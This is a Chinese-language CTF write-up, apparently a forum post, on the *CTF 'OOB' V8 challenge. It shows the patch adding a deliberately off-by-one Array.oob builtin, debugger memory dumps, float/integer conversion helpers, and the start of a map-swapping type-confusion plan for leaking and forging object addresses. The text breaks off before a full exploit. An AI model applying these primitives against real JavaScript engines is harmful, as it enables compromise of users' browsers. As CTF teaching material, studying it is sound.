前言:

大概是入门级别的一次分析(取自*CTF中的OOB。orz

正文:

拿到一个diff

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();

     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

看新加的oob函数就行(虽然我也看不太懂写的是个啥玩楞2333。里面的readwrite注释,还有直接取了length可以大概意识到是一个越界读写的漏洞。

a.oob()就是将越界的首个8字节给读出,a.oob(1)就是将1写入越界的首个8字节。

那么越界读写就好办了,先测试一下看看:

➜  x64.release git:(6dc88c1) ✗ ./d8 
V8 version 7.5.0 (candidate)
d8> a = [1,2,3,4]
[1, 2, 3, 4]
d8> a.oob()    
4.42876206109e-311

因为v8中的数以浮点数的形式显示,所以先写好浮点数与整数间的转化原语函数:

var buff_area = new ArrayBuffer(0x10);
var fl = new Float64Array(buff_area);
var ui = new BigUint64Array(buff_area);

function ftoi(floo){
    fl[0] = floo;
    return ui[0];
}

function itof(intt){
    ui[0] = intt;
    return fl[0];
}

function tos(data){
    return "0x"+data.toString(16);
}

上手调试,先看看一个数组的排布情况:

var a = [0x1000000,2,3,4];
pwndbg> x/10xg 0x101d1f8d0069-1
0x101d1f8d0068: 0x00000a9abe942d99  0x000012a265ac0c71   --> JSArray
0x101d1f8d0078: 0x0000101d1f8cf079  0x0000000400000000
0x101d1f8d0088: 0x0000000000000000  0x0000000000000000
0x101d1f8d0098: 0x0000000000000000  0x0000000000000000
0x101d1f8d00a8: 0x0000000000000000  0x0000000000000000
pwndbg> x/10xg 0x0000101d1f8cf079-1
0x101d1f8cf078: 0x000012a265ac0851  0x0000000400000000   --> FixedArray
0x101d1f8cf088: 0x0100000000000000  0x0000000200000000
0x101d1f8cf098: 0x0000000300000000  0x0000000400000000
0x101d1f8cf0a8: 0x000012a265ac0851  0x0000005c00000000
0x101d1f8cf0b8: 0x0000000000000000  0x0000006100000000

所以此时的a.oob()所泄漏的应该是0x000012a265ac0851的double形式。但是我们无法知道0x000012a265ac0851是什么内容,不可控。那么我们换一个数组,看以下数组情况:

var a = [1.1,2.2,3.3,4.4];
pwndbg> x/10xg 0x0797a34100c9-1
0x797a34100c8:  0x00001c07e15c2ed9  0x00000df4ef880c71   --> JSArray
0x797a34100d8:  0x00000797a3410099  0x0000000400000000
0x797a34100e8:  0x0000000000000000  0x0000000000000000
0x797a34100f8:  0x0000000000000000  0x0000000000000000
0x797a3410108:  0x0000000000000000  0x0000000000000000
pwndbg> x/10xg 0x00000797a3410099-1
0x797a3410098:  0x00000df4ef8814f9  0x0000000400000000   --> FixedArray
0x797a34100a8:  0x3ff199999999999a  0x400199999999999a
0x797a34100b8:  0x400a666666666666  0x401199999999999a
0x797a34100c8:  0x00001c07e15c2ed9  0x00000df4ef880c71   --> JSArray
0x797a34100d8:  0x00000797a3410099  0x0000000400000000

我们可以看见FixedArrayJSArray是紧邻的,所以a.oob()泄漏的是0x00001c07e15c2ed9,即JSArraymap值(PACKED_DOUBLE_ELEMENTS)。这样我们就好构造利用了。

类型混淆:

假设我们有一个浮点型的数组和一个对象数组,我们先用上面所说的a.oob()泄漏各自的map值,在用我们的可写功能,将浮点型数组的map写入对象数组的map,这样对象数组中所存储的对象地址就被当作了浮点值,因此我们可以泄漏任意对象的地址。

相同的,将对象数组的map写入浮点型数组的map,那么浮点型数组中所存储的浮点值就会被当作对象地址来看待,所以我们可以构造任意地址的对象。

泄漏对象地址和构造地址对象:

先得到两个类型的map

```

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖